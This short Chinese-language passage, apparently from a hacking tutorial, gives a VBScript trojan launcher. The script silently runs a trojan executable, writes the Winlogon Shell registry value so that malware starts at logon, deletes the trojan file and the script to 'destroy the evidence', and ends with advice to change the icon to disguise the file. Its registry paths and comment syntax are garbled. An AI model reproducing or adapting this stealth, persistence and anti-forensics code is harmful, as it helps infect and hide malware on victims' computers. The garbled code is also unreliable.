呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～

复制代码 代码如下:

dim wsh

set wsh=CreateObject("WScript.Shell")

wsh.run "%windir%flumasko.exe",0 //运行木马程序

set sm=Wscript.CreateObject("WScript.Shell")

sm.RegWrite "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonShell","Explorer.exe %systemroot%system32winmgmt.exe"

//写进注册表项实现自启动

set WshShell=WScript.CreateObject("WScript.Shell")

WScript.Sleep 2000

//等木马的执行完毕

Set fso=CreateObject("Scripting.FileSystemObject")

f=fso.DeleteFile ("flumasko.exe")

f=fso.DeleteFile (WScript.ScriptName)

//毁尸灭迹

再修改下图标就大功告成了！